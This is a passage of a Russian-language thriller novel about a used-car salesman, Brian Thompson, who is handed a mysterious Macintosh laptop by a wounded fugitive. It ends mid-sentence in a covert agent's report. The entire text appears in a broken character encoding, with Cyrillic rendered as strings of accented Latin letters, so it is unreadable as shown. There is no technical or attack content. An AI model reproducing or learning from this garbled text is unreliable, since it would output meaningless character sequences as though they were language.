îí íå ìîã áåç òîãî, ÷òîáû, êàê è âñå ðûáàêè ìèðà, íå ïðèóê-
ðàñèòü ðàçìåðû è êîëè÷åñòâî ñâîåãî óëîâà. Ïîæàëóé, ýòî
áûëà åäèíñòâåííàÿ òåìà, îáñóæäàÿ êîòîðóþ, îí íå çàäóìû-
âàëñÿ î òîì, âðåò ëè îí. Ñàì ïðèíöèï ðàññêàçà î òîì, êàê îí
óäà÷íî ïðîâåë óèê-ýíä íà îçåðå, âûòàñêèâàÿ ðûáèí äåñÿòêà-
ìè èç ÷èñòåéøåé ãîëóáîé âîäû, ïîäðàçóìåâàë ïðåóâåëè÷å-
íèå, è óæ Áðàéàí íèêîãäà íå óïóñêàë âîçìîæíîñòè ïðèõâàñò-
íóòü ïåðåä ñîáåñåäíèêàìè. Ïîðîé îí ñàì íå çàìå÷àë, êàê
âñòóïàë â ïðîòèâîðå÷èå ñî ñëîâàìè, ñêàçàííûìè ïÿòü ìèíóò
íàçàä. Íî òå, ïåðåä êåì îí ðàñïèñûâàë ñâîè ðûáàöêèå ïîäâè-
ãè, ïðîùàëè åìó ýòî, èáî ñàìè áûëè èç òîãî æå òåñòà. Òàêàÿ
ëîæü áûëà àáñîëþòíî áåçîáèäíà, ýòî ïîíèìàëè âñå...

- ...Ýòîò îêóíü áûë âåñîì... âåñîì... - îí çàäóìûâàëñÿ íà
ïàðó ñåêóíä, ÷òîáû ñîîáðàçèòü, íàñêîëüêî æå ñòîèò ïðèóêðà-
ñèòü, à ïîòîì ïðîäîëæàë. � Íó, â ìîåé æèçíè âñÿêèå ïîïàäà-
ëèñü, íî ýòîò...

È âñå ïîíèìàëè, ÷òî âåñ íå ñòîèò äàæå óïîìèíàòü � òàêîé
îí îãðîìíûé. À óæ åñëè äåëî äîõîäèëî äî ðàçãîâîðîâ î ïðè-
çàõ, ïîëó÷åííûõ èì è åãî îòöîì â ðàçëè÷íûõ ðûáàöêèõ ñîñ-
òÿçàíèÿõ, òóò íå áûëî êîíöà è êðàÿ ìíîãî÷èñëåííûì ïîäâè-
ãàì ñåìüè Áðàéàíà Òîìïñîíà. Îíè, ïîõîæå, ñóìåëè ñäåëàòü
âñåõ â îêðóãå.

Â îáùåì è öåëîì Áðàéàí áûë äîáðîïîðÿäî÷íûì àìåðè-
êàíöåì, æèë ïî çàêîíàì ýòîé áîëüøîé ñòðàíû, ïîääåðæèâàë
åå âî âñåõ íà÷èíàíèÿõ îò ïîëåòîâ â êîñìîñ äî âîéíû â Èðà-
êå. Åãî íèêîãäà íå òÿíóëî íà ïîäâèãè. Îí ñ÷èòàë, ÷òî åìó åñòü
÷òî òåðÿòü, ÷òî æèâåò îí ëó÷øå ìíîãèõ, áåç âñÿêîé çàâèñòè è
ïðåçðåíèÿ, ó íåãî õîðîøàÿ ðàáîòà, ÷óäåñíàÿ ñåìüÿ è íàè-
ïðåêðàñíåéøèé äîì. Áûòü òàêèì, êàê Áðàéàí, è æèòü â çîëî-
òîì âåêå àìåðèêàíñêîé ìå÷òû � ÷åãî åùå ìîæíî æåëàòü?!

Âîò òîëüêî æèçíåííûé îïûò ïîäñêàçûâàåò, ÷òî òàê êðàñèâî è
ðàäóæíî íå ìîæåò áûòü âñåãäà. Ñëèøêîì õîðîøî � òîæå ïëîõî.

Ñàì Áðàéàí íå âèäåë íè÷åãî, ÷òî áûëî áû â ñîñòîÿíèè èç-
ìåíèòü åãî æèçíü â õóäøóþ ñòîðîíó. Ðàáîòà (îí ïðîäàâàë
ïîäåðæàííûå ìàøèíû) áûëà, êàê åìó êàçàëîñü, âå÷íîé. Ïî-
äåðæàííûå ìàøèíû áóäóò âñåãäà, è ýòîò ïðèíöèï îáåùàë
åìó íèêîãäà íå ïîòåðÿòü ðàáîòó. Ýòîò âèä äåÿòåëüíîñòè ïðè-
íîñèë âïîëíå ïðèëè÷íûå äåíüãè: Áðàéàí óñïåâàë ðàçäàâàòü

äîëãè ïåðåä ãîñóäàðñòâîì, îäåâàòü æåíó, ëþáèòü ñûíîâåé,
ðàç â ãîä îòïðàâëÿòü èõ âñåõ ê ìàìå âî Ôëîðèäó ñ áîëüøèì
êîëè÷åñòâîì ïîäàðêîâ è âðåìÿ îò âðåìåíè ðàäîâàòü ñåáÿ
âñÿêèìè ìåëî÷àìè. Ïîñëåäíåé "ïðèÿòíîé ìåëî÷üþ", êîòîðàÿ
âîøëà â æèçíü Áðàéàíà, ñòàë íîóòáóê.

Ñ ýòîãî ìåñòà íàäî áû ïîïîäðîáíåå.
Ïðèîáðåòåíèå áûëî ñòîÿùèì, ÷òî è ãîâîðèòü. Íîâåíüêèé

"Ìàê" ñ âåëèêîëåïíûìè âíóòðåííîñòÿìè, ìå÷òà ëþáîãî, êòî
õîòü ÷óòü-÷óòü ïîíèìàåò â êîìïüþòåðàõ. Áðàéàí äîëãî íå ìîã
óñïîêîèòüñÿ îò îñîçíàíèÿ ôàêòà îáëàäàíèÿ ýòèì óñòðîé-
ñòâîì, îí äàæå ïàðó ðàç ïðîñûïàëñÿ ñðåäè íî÷è è çàâîðî-
æåííî ñìîòðåë íà ïîêóñàííîå ÿáëî÷êî íà îáðàòíîé ñòîðîíå
êðûøêè...

Äåíü, êîãäà "Ìàêèíòîø" âîøåë â åãî æèçíü, Áðàéàí çà-
ïîìíèë íàäîëãî. Â òîò âå÷åð îí ïîçäíî âîçâðàùàëñÿ ñ ðàáî-
òû, ó íåãî ñîðâàëîñü íåñêîëüêî ñäåëîê, ñ êîòîðûõ îí ìîã áû
ïîëó÷èòü íåïëîõîé ïðîöåíò, è ïîýòîìó îí âïàë â äóðíîå ðàñ-
ïîëîæåíèå äóõà. Íà íîñó áûëè î÷åðåäíûå êðåäèòíûå âûïëà-
òû, êîòîðûå îí âñåãäà âíîñèë ïîëíîñòüþ è â ñðîê, ïîýòîìó
óïëûâøèå èç-ïîä íîñà êëèåíòû áûëè äëÿ íåãî êàê çàíîçà â
ïÿòêå.

"Íàäî æå òàê îïðîñòîâîëîñèòüñÿ!"
Îí ãîðåâàë ïî ýòîìó ïîâîäó, íå â ñèëàõ îïîìíèòüñÿ îò òî-

ãî, ÷òî òðè (öåëûõ òðè!) ÷åëîâåêà ñåãîäíÿ íåïîñòèæèìûì îá-
ðàçîì óñêîëüçíóëè èç åãî êðåïêèõ îáúÿòèé. Îí óìåë ïðîäà-
âàòü êàê íèêòî äðóãîé, è ïðè ýòîì îí åùå óìóäðÿëñÿ ñîáëþ-
äàòü íåêèé êîäåêñ ÷åñòè ïðîäàâöà, ñòàðàÿñü íå âûõîäèòü çà
ñâîè "÷åñòíûå" ðàìêè.

"Âåäü âñå øëî êàê ïî ìàñëó... «Ôîðä», «Êàäèëëàê» è
«Êðàéñëåð»... Êàê æå òàê?.."

Îí ñàì íå ïîíÿë, ÷òî æå áûëî íå òàê. Ïî÷åìó-òî ëþäè, êàê
òîëüêî äåëî äîõîäèëî äî îáñóæäåíèÿ öåíû, ñòàíîâèëèñü íå-
ðåøèòåëüíûìè, âÿëûìè è ïðàêòè÷åñêè íå çàèíòåðåñîâàííû-
ìè â ïîêóïêå ìàøèíû. Çà÷åì æå òîãäà áûëî ïðèõîäèòü â ìà-
ãàçèí, åñëè òû ïîíèìàåøü, ÷òî ïîêà íå ãîòîâ ê òàêîìó ïðèîá-
ðåòåíèþ? Åìó îñîáåííî çàïîìíèëñÿ ïîñëåäíèé ïîêóïàòåëü,
êîòîðûé, ïîñèäåâ çà ðóëåì "Êðàéñëåðà", ïîõëîïàë ðóêîé ïî
êîæàíîìó ñèäåíüþ ðÿäîì ñ ñîáîé è âäðóã ñïðîñèë Áðàéàíà:

- À âàì íðàâèòñÿ âàøà ðàáîòà?
Áðàéàí òîãäà îïåøèë, ñìóòèëñÿ è, êàê âñåãäà, âûïàëèë

ïðàâäó:
- Íå î÷åíü, ìèñòåð... Õîòÿ ÿ óâåðåí, ÷òî â íàøå âðåìÿ ýòà

ðàáîòà � äîñòàòî÷íî ñòàáèëüíûé èñòî÷íèê äîõîäà. Ïðàâäà, ó
ðóññêèõ åñòü ïîãîâîðêà: "Õîðîøî òàì, ãäå íàñ íåò�"

- Ó ðóññêèõ?.. � ïîäíÿë áðîâè ïîêóïàòåëü. � Ó ðóññêèõ... À
ìíå âîò, çíàåòå, ìîÿ ðàáîòà î÷åíü íðàâèòñÿ. È ìàøèíà áû
ìíå íà ýòîé ðàáîòå ïðèãîäèëàñü...

- À êåì âû ðàáîòàåòå, åñëè íå ñåêðåò, ìèñòåð? � áåñåäà
Áðàéàíó î÷åíü íå íðàâèëàñü, îí ÷óâñòâîâàë, ÷òî ÷åëîâåê
ñåé÷àñ âñòàíåò ñ âîäèòåëüñêîãî ñèäåíüÿ, ïðèêðîåò äâåðü è
ðàñïðîùàåòñÿ, íå äàâ ïðîäàâöó íèêàêèõ øàíñîâ.

- Äà òàê, íå î÷åíü ïûëüíîå ìåñòî... Ìîæíî ñêàçàòü, êîì-
ìèâîÿæåð. Íî â äàííûé ìîìåíò ïîêà íà îòäûõå.

- Äà, - ïîêà÷àë ãîëîâîé Áðàéàí. � Êîììèâîÿæåðó ìàøèíà
íóæíà êàê âîçäóõ. Âû, íàâåðíîå, ìíîãî åçäèòå ïî øòàòó?

- Íå òîëüêî ïî øòàòó! Ïðèõîäèòñÿ ìîòàòüñÿ ïî âñåé ñòðàíå, -
÷åëîâåê ïîãëàäèë ðóëåâîå êîëåñî, ïîïðîáîâàë ïåäàëè, ïîòîì
âûòàùèë êëþ÷ çàæèãàíèÿ èç çàìêà è ïðîòÿíóë åãî ïðîäàâöó.
� Âèäèìî, ïðèäåòñÿ ýòî äåëàòü íå íà âàøåé ìàøèíå.

Îí âñòàë ñ êðåñëà è çàõëîïíóë äâåðü.
- Êàê æå âû ðàçúåçæàåòå ïî ñòðàíå ñåé÷àñ? � óäèâèëñÿ

Áðàéàí. � Ïîõîæå, âû áåç àâòîìîáèëÿ... Ñþäà âû ïðèøëè
ïåøêîì, óõîäèòå è ïîãëÿäûâàåòå íà ÷àñû, çíà÷èò, æäåòå àâòî-
áóñ... ß äóìàþ, íàì ñòîèò ïðîäîëæèòü ïåðåãîâîðû ïî öåíå, è
ìû íàéäåì êîìïðîìèññ. Àâòîìîáèëü óñòðîèò âàñ, öåíà � ìåíÿ.
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Âîò òîëüêî æèçíåííûé îïûò
ïîäñêàçûâàåò, ÷òî òàê êðàñèâî è
ðàäóæíî íå ìîæåò áûòü âñåãäà.



Ïîêóïàòåëü óëûáíóëñÿ ñàìîé ÷òî íè íà åñòü ãîëëèâóäñêîé
óëûáêîé, ïîäìèãíóë Áðàéàíó è îòâåòèë:

- ß âàì âåðþ, íî � íå â ýòîò ðàç.
Îí âçäîõíóë òàê, ñëîâíî ñ íåîõîòîé ðàññòàâàëñÿ ñ

ìûñëüþ î ïîêóïêå ìàøèíû, ïîòîì ïîâåðíóëñÿ ê Áðàéàíó ñïè-
íîé è íàïðàâèëñÿ ê âûõîäó èç ñàëîíà. Áðàéàí çàêóñèë ãóáó è
ñîáðàëñÿ áûëî áåæàòü çà óõîäÿùèì ïîêóïàòåëåì, íî â ïîñ-
ëåäíèé ìîìåíò ðàçäóìàë. Ñåãîäíÿ ÿâíî áûë íå åãî äåíü...

- ...Âîò âåäü, - ïðîäîëæàë øåïòàòü îí ñåáå ïîä íîñ ïî äî-
ðîãå äîìîé. � Íàäî áóäåò ïî÷èòàòü ÷òî-íèáóäü ïî òåõíîëîãè-
ÿì ïðîäàæ, ïî ïñèõîëîãèè, åùå ÷òî-íèáóäü... Ðàññëàáèëñÿ,
âíîâü ïîâåðèë â ñâîé øàðì è óìåíèå óáåæäàòü... Òàê òåáå 
è íàäî!

Îí ñ äîñàäû ïíóë ãðàâèé ïîä íîãàìè, îáîçíà÷èâøèé íà÷à-
ëî òðîïèíêè ê äîìó, îñòàíîâèëñÿ è âûòàùèë èç êàðìàíà
äæèíñîâ ïà÷êó ñèãàðåò. Äûì çàñòàâèë åãî ðàññëàáèòüñÿ. Îí
çàòÿíóëñÿ è ïîäíÿë ãëàçà ê íåáó.

- À âåäü îñòàëüíûå ïîêóïàòåëè áûëè òàêèìè æå ñòðàííû-
ìè, - âäðóã ïðèçíàëñÿ îí ñàì ñåáå. � Òðåïàëèñü íè î ÷åì...
Ïåðâûé ñïðîñèë ìåíÿ, ÷òî ÿ äóìàþ î æåíùèíàõ. Íó íå ãëó-
ïîñòü ëè? È âåäü, êàê è òðåòèé, â ýòîò ìîìåíò îí ñèäåë çà ðó-
ëåì, ãëàäèë îïëåòêó è ðàññìàòðèâàë ñåáÿ â çåðêàëî çàäíåãî
âèäà. Íàðöèññ... Åìó ÿ íå ñìîã ïðîäàòü "Ôîðä". Èëè îí íå çà-
õîòåë êóïèòü?

Íåñêîëüêî çàòÿæåê îí ñäåëàë ìîë÷à, ñîñðåäîòî÷åííî ïå-
ðåäâèãàÿ íîñêîì áîòèíêà êàìåøêè ïîä íîãàìè. Ôèãóðû èç
êàìíåé ïîëó÷àëèñü êàêèå-òî êîðÿâûå, íè÷åãî ïóòíîãî íå âû-
õîäèëî; îí áðîñèë ýòî è âíîâü ñïðîñèë ñàì ñåáÿ:

- Íó, à âòîðîé? Êîòîðîìó òàê ïðèãëÿíóëñÿ "Êàäèëëàê"? "À
âû çà êîãî ãîëîñîâàëè?" Ýòî ÷òî, êàê-òî ìåíÿåò äåëî? Õîòÿ...

Îòêóäà æå ìíå áûëî çíàòü, ÷òî îí êîíñåðâàòîð? Âåäü êîãäà
ñèäèøü çà ðóëåì, òî âñå ðàâíî, êòî òû: ïðàâèëà äîðîæíîãî
äâèæåíèÿ íàïèñàíû äëÿ âñåõ. Íèêîãäà íå ïîéìåøü ñðàçó, ÷òî
ëþäÿì îò òåáÿ íàäî. Âîò ÿ, ê ïðèìåðó, äåìîêðàò. ×òî æ, ÿ òå-
ïåðü ïðåäñòàâèòåëÿì äðóãèõ ïàðòèé íå ñìîãó äàæå êîëåñî
ïðîäàòü? ×óøü ñîáà÷üÿ!

Îí øâûðíóë îêóðîê ùåë÷êîì â êóñòû.
- Âñå îíè êàêèå-òî íåíîðìàëüíûå. Äåíü çðÿ ïðîøåë. Ëó÷-

øå ïðîñòî íèêîãî áû íå áûëî, ÷åì çíàòü, ÷òî òû óïóñòèë âåð-
íóþ òûñÿ÷ó...

Ïîäîéäÿ ê äâåðÿì äîìà, îí âûòàùèë ðóêè èç êàðìàíîâ,
èçîáðàçèë íà ëèöå äîâîëüíóþ óëûáêó è óæå ñîáèðàëñÿ âîé-
òè íà âåðàíäó, êàê âäðóã ñçàäè ðàçäàëîñü øóðøàíèå ëèñòâû.
Êòî-òî áîëüøîé è áûñòðûé ïðîáèðàëñÿ â ñòîðîíó Áðàéàíà
ñêâîçü çàðîñëè êóñòàðíèêà.

Øóì íå ìîã íå íàñòîðîæèòü Áðàéàíà. Îí íåìíîãî îòñòóïèë
â ñòîðîíó îò ëåñòíèöû, âåäóùåé ê äîìó, âíèìàòåëüíî âñìîò-
ðåëñÿ â êóñòàðíèê è ïîïûòàëñÿ îïðåäåëèòü, êòî æå ýòî ìîã
áûòü è íå ïðîáåæèò ëè îí ìèìî. Ýòî âïîëíå ìîãëà îêàçàòüñÿ
áðîäÿ÷àÿ ñîáàêà, è òîãäà î íåé ñòîèëî áû ñîîáùèòü øåðèôó.
Ýòî ìîã áûòü è ÷åëîâåê � è âîò äëÿ òàêîãî âàðèàíòà ìîæíî
áûëî ïðèäóìàòü ñêîëüêî óãîäíî îáúÿñíåíèé áåãà ñêâîçü âåò-
êè. Áåãóùèé òèíýéäæåð, ñïàñàþùèéñÿ îò ïîëèöèè ïîñëå íåó-
äà÷íîé ïðîäàæè î÷åðåäíîé äîçû "êðýêà"; ëþáîâíèê, ïåðåï-
ðûãèâàþùèé íåâûñîêèå çàáîðû, ïîïàâøèéñÿ â ëàïû ìóæà
âîçëþáëåííîé; âîð, çàñòèãíóòûé íà ìåñòå ïðåñòóïëåíèÿ, �
ýòî ìîã áûòü êòî óãîäíî.

Îãëÿíóâøèñü ïî ñòîðîíàì, Áðàéàí âçÿë â ðóêè áîëüøóþ
ìåòëó, êîòîðóþ ñàäîâíèê, îáñëóæèâàþùèé èõ ðàéîí, ïðèñëî-
íèë ê çàáîðó è çàáûë çäåñü äî çàâòðàøíåãî äíÿ, íî íà ñåêóí-
äó ïðåäñòàâèâ ñåáÿ ñî ñòîðîíû ñ ýòîé ìåòëîé â ðóêàõ, îòñòà-
âèë åå â ñòîðîíó.

- Íå÷åãî òóò èãðàòü â Ãàððè Ïîòòåðà, - ÷àñòî äûøà, ñêàçàë
îí ñàì ñåáå. Â íåì íàðàñòàëà âîëíà ñòðàõà è âîçáóæäåíèÿ.
Øóì âåòâåé ïðèáëèæàëñÿ.

Ãäå-òî âäàëåêå âçâèçãíóëè òîðìîçà, ïîòîì õëîïíóëè
äâåðöû, ðàçäàëñÿ ñòóê ïîäîøâ ïî àñôàëüòó äîðîãè. Áðàéàí
çàìåòàëñÿ âçãëÿäîì îò êóñòàðíèêîâ ê äîðîãå, íå ïîíèìàÿ,
÷òî ïðîèñõîäèò. Ðóêà ñíîâà ïðîòÿíóëàñü çà ìåòëîé � äåðå-
âÿøêà â ðóêå ïðèäàâàëà íåìíîãî óâåðåííîñòè. Íî âäðóã ãäå-
òî íåïîäàëåêó ãðîõíóë âûñòðåë, ïîñëå ÷åãî îí óñëûøàë
êðèê, ìíîãî ðàç ïîâòîðÿâøèéñÿ â ãîëëèâóäñêèõ áîåâèêàõ:

- Freeze!!!
Îí ïî÷åìó-òî ñðàçó âûðîíèë ìåòëó è ïî÷óâñòâîâàë äðîæü

â êîëåíêàõ � íåâûíîñèìóþ, ïîäëóþ, âñåïîãëîùàþùóþ, âà-
ëÿùóþ ñ íîã. À ïîòîì ïîíÿë: ñíà÷àëà áûë âûñòðåë, à ïîòîì
ïðåäóïðåæäàþùèé êðèê. Èëè ñòðåëÿëè â ïîëèöåéñêîãî, èëè
ñàì ïîëèöåéñêèé òâîðèë áåççàêîíèå. 

- Ãîñïîäè, ãîñïîäè... - çàøåïòàë Áðàéàí ñåáå ïîä íîñ, ïî-
òîì êèíóë áûñòðûé âçãëÿä íà îêíà äîìà, óìîëÿÿ æåíó è äå-
òåé íå âûñîâûâàòüñÿ, õîòÿ ïðåêðàñíî ïîíèìàë, ÷òî, åäâà óñ-
ëûøàâ âûñòðåë, æåíà óëîæèò äåòåé íà ïîë è ñàìà íå ïîäíè-
ìåò ãîëîâû, ïîêà íå ñòàíåò òèõî � èõ êîãäà-òî èíñòðóêòèðîâàë
íà ýòîò ñ÷åò ïîìîùíèê øåðèôà.

È â ýòó ñåêóíäó êóñòû ðàçäâèíóëèñü ïðÿìî ïåðåä Áðàéà-
íîì. Íà ïîëÿíó îêîëî äîìà âûñêî÷èë ÷åëîâåê â êîñòþìå,
ïîäâîëàêèâàþùèé íîãó è ïðèæèìàþùèé ðóêîé ê æèâîòó ÷òî-
òî íàïîìèíàþùåå òîíêèé ÷åìîäàí÷èê. ×åðåç ìãíîâåíüå îí
óâèäåë ïåðåä ñîáîé Áðàéàíà è îñòàíîâèëñÿ, ãëÿäÿ åìó ïðÿìî
â ãëàçà.

Ñàì Áðàéàí îïåøèë íå ìåíüøå, ÷åì íåçâàíûé ãîñòü. Îíè
ñìîòðåëè äðóã íà äðóãà, êàçàëîñü, öåëóþ âå÷íîñòü, ïîòîì ÷å-
ëîâåê ïðèíÿë êàêîå-òî ðåøåíèå è ïðèáëèçèëñÿ ê Áðàéàíó.
Ñòàëî ñëûøíî åãî òÿæåëîå äûõàíèå, êðûëüÿ åãî íîñà õîäèëè
ââåðõ-âíèç, ãðóäü âçäûìàëàñü. ×óâñòâîâàëîñü, ÷òî îí î÷åíü
óñòàë.

- Ïîìîãèòå, - ïðîèçíåñ îí õðèïëûì ãîëîñîì, ïîäîéäÿ ïîá-
ëèæå. Íà ïðàâîì áåäðå ðàñïëûâàëîñü ïÿòíî êðîâè. � Âîçüìè-
òå âîò ýòî, - è îí ïðîòÿíóë Áðàéàíó ÷åìîäàí÷èê.

Â ÷åìîäàí÷èêå ëåæàë íîóòáóê. Áðàéàí ðàçãëÿäåë íà
êðûøêå ïîêóñàííîå ÿáëî÷êî è ñäåëàë øàã íàçàä. Îí áûë çà-
êîíîïîñëóøíûì ãðàæäàíèíîì è íå ìîã âçÿòü íè÷åãî èç ðóê
òîãî, çà êåì ãíàëàñü ïîëèöèÿ.

- Âîçüìèòå, - ÷åëîâåê ïîêà÷íóëñÿ è åäâà íå âûïóñòèë èç
ðóê êîìïüþòåð. � Äà ïîìîãèòå æå ìíå, ÷åðò âàñ ïîáåðè...

Íà óëèöå ìåòðàõ â òðåõñòàõ îòñþäà çàâûëà ñèðåíà, íî ÷å-
ðåç ïàðó ñåêóíä çàìîëêëà. Øóì, êîòîðûé ïîäíèìàëè áåãó-
ùèå ïîëèöåéñêèå, çàòèõ, ñëûøàëîñü òîëüêî ïðèãëóøåííîå
ïåðåãîâàðèâàíüå. Ïîõîæå, îíè ïîòåðÿëè òîãî, êîãî ïðåñëåäî-
âàëè, è ïðîèçâîäèëè ïåðåêëè÷êó.

Áðàéàí âäðóã ïî÷óâñòâîâàë, ÷òî îòêóäà-òî èçíóòðè íà âî-
ëþ ïðîñèòñÿ æåëàíèå ïîìî÷ü, ïîääåðæàòü ðàíåíîãî, ïðîâî-
äèòü åãî ê âðà÷ó, â îáùåì, ïîó÷àñòâîâàòü â åãî ñóäüáå.
Ïðîêëÿòîå àìåðèêàíñêîå âîñïèòàíèå: ìåæäó çàêîíîì è ñîñò-
ðàäàíèåì èäåò âå÷íàÿ áîðüáà, ìîðàëü êîíôëèêòóåò ñ ãîñó-
äàðñòâîì, ïèñòîëåò - è ñëåçû, çíà÷îê ïîëèöåéñêîãî - è ïðèí-
öèïû äîáðà. Îí ìàøèíàëüíî øàãíóë ïîáëèæå è ïîäõâàòèë
ïîä ðóêó ãîòîâîãî óïàñòü ðàíåíîãî. Íîóòáóê êàê-òî ñàì ñî-
áîé îêàçàëñÿ ó íåãî â äðóãîé ðóêå, ÷åëîâåê ðàññòàëñÿ ñ íèì
áåç ñîæàëåíèÿ.

- Ñïàñèáî... - ïðîøåïòàë îí, ãîðÿ÷î äûøà â øåþ Áðàéàíó.
� Âû íå ïîæàëååòå... Ýòî íå ïðîñòî êîìïüþòåð, íå ïðîñòî...
Íå ïðîñòî "Ìàêèíòîø".

- Âàì íàäî ê âðà÷ó, - âñòàâèë ñëîâî Áðàéàí, íî ÷åëîâåê
ïåðåáèë åãî:

- ß íå óéäó äàëåêî... È íå ïîòîìó ÷òî ðàíåí: ìåíÿ ïðîñòî
íå îòïóñòÿò. Ñëèøêîì âñå êðóòî çàâåðòåëîñü...

- È âñå-òàêè, - ïûòàÿñü óâåðíóòüñÿ îò äûõàíèÿ ðàíåíîãî,
ãîâîðèë Áðàéàí. � Äàâàéòå âûçîâåì ïàðàìåäèêîâ... À ýòî âàñ
ïðåñëåäóåò ïîëèöèÿ? � íàêîíåö-òî ðåøèëñÿ îí íà ýëåìåíòàð-
íûé âîïðîñ, êîòîðûé ñëåäîâàëî çàäàòü ñðàçó æå.

- Ïîëèöèÿ? � óõìûëüíóëñÿ ÷åëîâåê è âäðóã îïóñòèëñÿ íà
òðàâó âîçëå âåðàíäû, ñ òðóäîì ïîäàâèâ ñòîí. Áðàéàí íå ñìîã
óäåðæàòü åãî è îïóñòèëñÿ ðÿäîì, ïðèæèìàÿ ê ãðóäè íîóòáóê.
� Ýòî íå ïîëèöèÿ... Âñå íàìíîãî ñëîæíåå... Èòàê, ìèñòåð, óõî-
äèòå... Áåðèòå íîóòáóê... À, âû óæå âçÿëè... Èäèòå äîìîé.
Ñïðÿ÷üòå åãî. Ñïðÿ÷üòå êàê ìîæíî äàëüøå. Õîòÿ ëó÷øå âñåãî
áûëî áû óíè÷òîæèòü åãî, íî ìíå òàê æàëü âñåé ðàáîòû...
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Âû íå ïîæàëååòå... 
Ýòî íå ïðîñòî êîìïüþòåð, 

íå ïðîñòî...



- ß íå ìîãó ýòî âçÿòü, - ïîêà÷àë ãîëîâîé Áðàéàí. � ß äó-
ìàþ, âû íàðóøèëè çàêîí, ÿ äîëæåí îòäàòü êîìïüþòåð â ñîîò-
âåòñòâóþùèå îðãàíû...

- Äà áðîñüòå âû, ïðàâî! � âîçìóòèëñÿ ðàíåíûé. � Ìíå îñ-
òàëîñü æèòü íåñêîëüêî ìèíóò, âûïîëíèòå âîëþ óìèðàþùåãî!

- Íî, ñóäÿ ïî ðàíåíèþ, âñå íå òàê óæ ïëîõî, - ïîæàë ïëå-
÷àìè Áðàéàí. � Âàñ âûëå÷àò...

- Ìåíÿ çàñòðåëÿò, êàê òîëüêî íàéäóò. Ïîìîãèòå ìíå âñòàòü.
Ïîìîãèòå, ÿ ïðîøó âàñ!

Îíè ïîäíÿëèñü. Áðàéàí ïî-ïðåæíåìó äåðæàë íîóòáóê, ãî-
òîâûé îòäàòü åãî õîçÿèíó.

- Ýòî âàø äîì? � êèâíóë íà âåðàíäó ðàíåíûé. � Èäèòå, ÿ
óìîëÿþ âàñ. Íèêòî íå ñòàíåò èñêàòü åãî ó âàñ. Îíè íå âèäåëè,
÷òî ÿ âçÿë "Ìàê" ñ ñîáîé. Ïîéìèòå, çäåñü (îí òêíóë ïàëüöåì
â íîóòáóê) âåëè÷àéøàÿ òàéíà Àìåðèêè. Îòâåò íà âîïðîñ, êî-
òîðûé âîò óæå ìíîãî ëåò âîëíóåò âñåõ, êòî æèâåò â ýòîé
ñòðàíå. ß íàøåë ýòîò îòâåò, è, ïîâåðüòå, ÿ îò íåãî íå â âîñ-
òîðãå. Ìíå íå äàäóò æèòü ñ ýòèì çíàíèåì � âû æå áóäåòå âíå
ïîäîçðåíèé.

Ðàíåíûé âíåçàïíî äåðíóëñÿ, ïðèñëóøèâàÿñü. Ãîëîñà ñòà-
ëè áëèæå.

- Ïîðà, - îí îòòîëêíóë Áðàéàíà îò ñåáÿ â ñòîðîíó âåðàíäû. �
Óõîäèòå � èëè âàñ ïîñ÷èòàþò ïðè÷àñòíûì. È ÒÎÃÄÀ ÓÁÜÞÒ
ÍÀÑ ÎÁÎÈÕ.

×òî-òî â ãîëîñå íåñ÷àñòíîãî çàñòàâèëî Áðàéàíà îòñòóïèòü
òóäà, êóäà åãî íàïðàâèëà ñèëüíàÿ ðóêà. ×åëîâåê êèâíóë åìó
è òóò æå çàáûë î åãî ñóùåñòâîâàíèè, ñíîâà ïðåâðàòèâøèñü â
çàãíàííîãî âîëêà. Îí ïðèãíóëñÿ è íûðíóë â ñëåäóþùèé ðÿä
êóñòîâ, ïðèïàäàÿ íà ðàíåíóþ íîãó. À ÷åðåç äåñÿòü-ïÿòíàä-
öàòü ñåêóíä ãðÿíóëè âûñòðåëû. Îäèí, âòîðîé, òðåòèé... Ïîòîì
Áðàéàí ñáèëñÿ ñî ñ÷åòà. Íà óëèöå øëà ïåðåñòðåëêà, ãäå-òî
çàçâåíåëè ñòåêëà, çàâûëà ñèãíàëèçàöèÿ îñòàâëåííîé íà óëè-
öå ìàøèíû ñîñåäåé. Âíåçàïíî ñòðåëüáà ñòèõëà...

Îí âäðóã ïîíÿë, ÷òî ñòîèò íà âåðàíäå ñ íîóòáóêîì ïîä
ìûøêîé, âñëóøèâàÿñü â âå÷åðíèå çâóêè. Íå õâàòàëî òîëüêî
íàòêíóòüñÿ ñåé÷àñ íà îõðàííèêà ïðàâîïîðÿäêà! Åìó âäðóã
ñòàëî ñòðàøíî, îí ïîñïåøèë âîéòè â äîì, äàæå íå îáúÿñíèâ
ñâîåé æåíå, ÷òî æå òàêîå îí ïðèíåñ ñ ñîáîé.

Íîóòáóê î÷åíü óäà÷íî óñòðîèëñÿ ó íåãî íà ñòîëå ðÿäîì ñ
êðîâàòüþ. Ìûñëåé ñïðÿòàòü åãî ïî÷åìó-òî íå âîçíèêëî.
Áðàéàí ÷óâñòâîâàë, ÷òî âñå ïðîèçîøåäøåå ñåé÷àñ íà óëèöå
òàê è îñòàíåòñÿ òàì, ñðåäè êóñòîâ è âîþùèõ ñèðåí. Îí íå áî-
ÿëñÿ òåõ, êòî ìîæåò âîéòè ñðåäè íî÷è äëÿ îáûñêà â äîì çàêî-
íîïîñëóøíîãî ãðàæäàíèíà Àìåðèêè. Îí áûë ãîòîâ îòäàòü âñå
â ðóêè ïðàâîñóäèÿ è ðàññêàçàòü, êàê âñå áûëî.

ÍÎ ÍÈÊÒÎ ÍÅ ÏÐÈØÅË.

*   **   **   **   **
"Íàñòîÿùèì äîêëàäûâàþ, ÷òî îïåðàöèÿ "Æèçíü ïðåêðàñ-

íà" íà÷àòà â ñðîê áåç êàêèõ-ëèáî îñëîæíåíèé. Ñòîðîííèõ
âëèÿíèé è ñëó÷àéíûõ ôàêòîðîâ íå îòìå÷åíî. Îáúåêò ïîä
ïîñòîÿííûì íàáëþäåíèåì. Èíñòðóêöèÿ "Ëåìóð" â òåêóùèé
ìîìåíò âðåìåíè íå íóæíà. Íàáëþäåíèå íåïðåðûâíîå, ìíî-
ãîêàíàëüíîå. Àãåíòóðíàÿ ïîääåðæêà â ïîëíîì îáúåìå. Ïðî-
øó óñèëèòü ãðóïïó ñïåöèàëèñòàìè èç îòäåëà êîíòðîëÿ çà èí-

ôîðìàöèîííûìè òåõíîëîãèÿìè � â íèõ èñïûòûâàþ ÿâíóþ
íåõâàòêó.

Ïðîøó íå äåëàòü íèêàêèõ îðãâûâîäîâ ïî îòíîøåíèþ ê îð-
ãàíèçàòîðó àêöèè � äàííàÿ íåîáõîäèìîñòü â õàêåðàõ âîçíèê-
